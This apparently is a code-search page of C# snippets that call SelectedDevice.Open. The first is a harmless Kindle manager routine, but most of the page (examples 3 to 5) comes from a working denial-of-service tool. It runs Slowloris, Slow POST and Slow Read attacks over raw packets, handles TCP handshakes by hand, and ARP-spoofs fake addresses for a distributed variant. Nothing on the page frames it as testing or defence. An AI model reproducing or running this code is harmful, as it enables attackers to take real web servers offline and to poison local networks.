Ejemplo n.º 1
0
        public async Task <bool> _SelectDevice(string driveLetter)
        {
            try
            {
                SelectedDevice = DevManager.OpenDevice(driveLetter);
            }
            catch (Exception e)
            {
                var errDlg = new Dialogs.Error("Unable to open Device", e.Message);
                await MaterialDesignThemes.Wpf.DialogHost.Show(errDlg);

                return(false);
            }

            if (SelectedDevice.Open())
            {
                var dlg = new Dialogs.YesNo("Device Setup", "It appears this is the first time you've used this device with KindleManager. A new configuration and database will be created.");
                await MaterialDesignThemes.Wpf.DialogHost.Show(dlg);

                if (dlg.DialogResult == false)
                {
                    SelectedDevice = null;
                    return(false);
                }

                await _EditDeviceSettings(true);

                _ScanDeviceLibrary();
            }

            CombinedLibrary.AddRemoteLibrary(SelectedDevice.Database.BOOKS);

            return(true);
        }
Ejemplo n.º 2
0
        public void Start()
        {
            // If no device selected, don't do anything
            if (SelectedDevice == null || !(Communicator is null))
            {
                return;
            }

            // Start scan
            Communicator = SelectedDevice.Open(0x10000, PacketDeviceOpenAttributes.Promiscuous, 1000);
            Communicator.ReceivePackets(-1, ProcessPacket); // Get packets indefinitely
        }
Ejemplo n.º 3
0
        private void SearchForPackets()
        {
            //Endless analyze of incomming packets
            using (PacketCommunicator com = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
            {
                com.SetFilter("tcp and src " + DestinationIpV4 + " and src port " + DosSender.DestinationPort);
                while (true)
                {
                    if (com.ReceivePacket(out var packet) == PacketCommunicatorReceiveResult.Ok)
                    {
                        DosSender dosSender;
                        try
                        {
                            dosSender = Ddos ? DosSenders.First(x => x.SourcePort == packet.Ethernet.IpV4.Tcp.DestinationPort && FakeIpV4Addresses.Contains(packet.Ethernet.IpV4.Destination))
                             : DosSenders.First(x => x.SourcePort == packet.Ethernet.IpV4.Tcp.DestinationPort);
                        }
                        catch (Exception)
                        {
                            continue;
                        }

                        if (dosSender.Status == SenderStat.WaitingForAck)
                        {
                            dosSender.Status    = SenderStat.SendingAck;
                            dosSender.SeqNumber = dosSender.ExpectedAckNumber;
                            dosSender.AckNumber = packet.Ethernet.IpV4.Tcp.SequenceNumber + 1;
                            dosSender.Waited    = 0;
                        }
                        else if (packet.Ethernet.IpV4.Tcp.ControlBits == (TcpControlBits)20 || packet.Ethernet.IpV4.Tcp.ControlBits == (TcpControlBits)4)
                        {
                            dosSender.Status    = SenderStat.SendSyn;
                            dosSender.SeqNumber = (uint)new Random().Next();
                        }
                        else if (dosSender.Status == SenderStat.RecievingSlowRead && _attackMode == Attacks.SlowRead &&
                                 (packet.Ethernet.IpV4.Tcp.ControlBits == TcpControlBits.Acknowledgment || packet.Ethernet.IpV4.Tcp.ControlBits == (TcpControlBits)24))
                        {
                            dosSender.Status    = SenderStat.SendKeepAliveAckForSlowRead;
                            dosSender.AckNumber = packet.Ethernet.IpV4.Tcp.SequenceNumber + (uint)packet.Ethernet.IpV4.Tcp.PayloadLength;
                            dosSender.Waited    = 0;
                        }
                    }
                }
            }
        }
Ejemplo n.º 4
0
        private void ArpSpoofAddress(int count, DosSender tester)
        {
            CreateFakeAddresses(count);

            using (Communicator = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
            {
                Communicator.SetFilter("arp and src " + DestinationIpV4);
                foreach (var fakeIpV4Address in FakeIpV4Addresses)
                {
                    for (int i = 0; i < 5; i++)
                    {
                        tester.PingAddress(Communicator, fakeIpV4Address);

                        if (Communicator.ReceivePacket(out var packet) == PacketCommunicatorReceiveResult.Ok && packet.Ethernet.Source == tester.DestinationMac)
                        {
                            break;
                        }
                        Thread.Sleep(100);
                    }
                    tester.SendArpResponse(Communicator, fakeIpV4Address);
                }
            }
        }
Ejemplo n.º 5
0
        public void StartSenders()
        {
            DestinationMac = GetMacFromIp(DestinationIpV4);
            SourceMac      = new MacAddress(Regex.Replace(
                                                NetworkInterface.GetAllNetworkInterfaces()
                                                .FirstOrDefault(netInt => SelectedDevice.Name.Contains(netInt.Id))
                                                ?.GetPhysicalAddress().ToString() ?? throw new InvalidOperationException(),
                                                ".{2}", "$0:").TrimEnd(':'));

            if (Ddos)
            {
                var tester = new DosSender(SourceIpv4, DestinationIpV4, DestinationMac, SourceMac, HostAddress,
                                           SlowLorisKeepAliveData, SlowLorisHeader, SlowPostContentLength, SlowPostHeader,
                                           SlowReadUrl, SourcePort, PortStep);
                ArpSpoofAddress(DdosCount, tester);
            }

            DosSenders = new ConcurrentBag <DosSender>();

            for (int i = 0; i < SenderSize; i++)
            {
                DosSenders.Add(new DosSender(SourceIpv4, DestinationIpV4, DestinationMac, SourceMac, HostAddress,
                                             SlowLorisKeepAliveData, SlowLorisHeader, SlowPostContentLength, SlowPostHeader, SlowReadUrl,
                                             SourcePort, PortStep, Ddos));
            }

            if (_attackMode == Attacks.SlowRead)
            {
                foreach (var dosSender in DosSenders)
                {
                    dosSender.WindowSize = (ushort)SlowReadWindowSize;
                }
            }

            //<For logging>

            //Random rand = new Random();
            //var path = $@"C:\Users\Mystify_PC\source\repos\WpfApp2\test{rand.Next()}.txt";
            //var a = File.Create(path);
            //a.Close();

            //</>
            var watcher = new Thread(SearchForPackets);

            watcher.Start();
            using (Communicator = SelectedDevice.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 100))
            {
                while (true)
                {
                    //var logs = "";
                    foreach (var dosSender in DosSenders)
                    {
                        switch (dosSender.Status)
                        {
                        case SenderStat.SendSyn:
                            dosSender.SendSyn(Communicator);
                            dosSender.Status = SenderStat.WaitingForAck;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)}-- SendingSyn";
                            break;

                        case SenderStat.RecievingSlowRead:
                            if (dosSender.Waited > 7)
                            {
                                dosSender.Status    = SenderStat.SendSyn;
                                dosSender.SeqNumber = (uint)new Random().Next();
                            }

                            dosSender.Waited++;
                            break;

                        case SenderStat.WaitingForAck:
                            if (dosSender.Waited > 4)
                            {
                                dosSender.Status    = SenderStat.SendSyn;
                                dosSender.SeqNumber = (uint)new Random().Next();
                            }
                            dosSender.Waited++;
                            break;

                        //SLOWLORIS
                        case SenderStat.SendingAck when _attackMode == Attacks.SlowLoris:
                            dosSender.SendAck(Communicator);
                            dosSender.Status = SenderStat.SendingSlowLorisGetHeader;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SendingLorisHeader";
                            break;

                        //SLOW-POST
                        case SenderStat.SendingAck when _attackMode == Attacks.SlowPost:
                            dosSender.SendAck(Communicator);
                            dosSender.Status = SenderStat.SedingSlowPostHeader;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostHeader";

                            break;

                        //SLOW-READ
                        case SenderStat.SendingAck when _attackMode == Attacks.SlowRead:
                            dosSender.SendAck(Communicator);
                            dosSender.Status = SenderStat.SedingGetForSlowRead;

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadGet";
                            break;

                        //SLOWLORIS
                        case SenderStat.SendingSlowLorisGetHeader:
                            dosSender.SendSlowlorisNotCompleteGet(Communicator);
                            dosSender.Status = SenderStat.SendingKeepAliveForSlowLoris;

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowlorisGetHeader";
                            break;

                        //SLOWLORIS
                        case SenderStat.SendingKeepAliveForSlowLoris:
                            dosSender.SendSlowLorisKeepAlive(Communicator);

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowlorisKeepAlive";
                            break;

                        //SLOW-POST
                        case SenderStat.SedingSlowPostHeader:
                            dosSender.SendSlowPostHeader(Communicator);
                            dosSender.Status = SenderStat.SedingKeepAliveForSlowPost;

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostHeader";
                            break;

                        //SLOW-POST
                        case SenderStat.SedingKeepAliveForSlowPost:
                            dosSender.SendSlowPostKeepAlive(Communicator);

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowPostKeepAlive";
                            break;

                        //SLOW-READ
                        case SenderStat.SedingGetForSlowRead:
                            dosSender.WindowSize = (ushort)SlowReadWindowSize;
                            dosSender.SendSlowReadCompleteGet(Communicator);
                            dosSender.Status = SenderStat.RecievingSlowRead;
                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadGet";
                            break;

                        //SLOW-READ
                        case SenderStat.SendKeepAliveAckForSlowRead:
                            dosSender.Status = SenderStat.RecievingSlowRead;
                            dosSender.SendAck(Communicator);

                            //logs += $"{Environment.NewLine}{dosSender.SourcePort} -- {DateTime.UtcNow.ToString("mm:ss.fff", CultureInfo.InvariantCulture)} -- SlowReadKeepAlive";
                            break;

                        default:
                            throw new ArgumentOutOfRangeException();
                        }
                        Thread.Sleep(SenderTimeOut);
                    }
                    Thread.Sleep(SenderWaveTimeOut);
                    //using (StreamWriter sw = File.AppendText(path))
                    //{
                    //    sw.Write(logs);
                    //}
                }
            }
        }